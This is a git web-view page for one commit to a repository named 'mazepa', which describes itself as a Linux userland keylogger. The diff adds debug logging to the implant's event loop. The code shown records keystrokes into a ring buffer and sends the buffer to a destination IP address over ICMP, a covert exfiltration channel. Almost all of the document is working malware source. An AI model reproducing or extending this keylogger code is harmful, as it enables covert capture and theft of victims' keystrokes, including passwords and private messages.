mazepa~ linux userland keylogger |
| git clone https://github.com/djnnvx/mazepa.git |
| log | files | refs | archive | README |
| commit 039db0488276a857c72221b5b4a40a8f0fd7db11
parent 18b79590774d0d278613539853a2d55d0ccf36aa Author: djnn <[email protected]> Date: Sun, 18 Jan 2026 15:56:26 +0900 feat(implant): more debug logging Diffstat:
|
| 1 file changed, 11 insertions(+), 1 deletion(-) |
diff --git a/mazepa-implant/sources/evloop.c b/mazepa-implant/sources/evloop.c @@ -79,8 +79,12 @@ flush_buffer(ringbuf_t *rb, const int8_t *dst_ip) { size_t bytes_read; bytes_read = ringbuf_read(rb, payload, ICMP_DATA_SIZE); - if (bytes_read > 0) + if (bytes_read > 0) { +#ifdef DEBUG + DEBUG_LOG("[>] Sending %zu bytes to %s: \"%.*s\"\n", bytes_read, dst_ip, (int)bytes_read, payload); +#endif icmp_send(dst_ip, payload, bytes_read); + } } static void @@ -178,6 +182,12 @@ evloop_run(implant_t *instance) { handle_key_event(&keymap, &ev, &ringbuf, &shift_held); +#ifdef DEBUG + DEBUG_LOG("[*] Buffer: count=%zu, head=%zu, tail=%zu, data=\"%.*s\"\n", + ringbuf.count, ringbuf.head, ringbuf.tail, + (int)ringbuf.count, ringbuf.data + ringbuf.tail); +#endif + if (ringbuf_should_flush(&ringbuf)) flush_buffer(&ringbuf, instance->ip); } |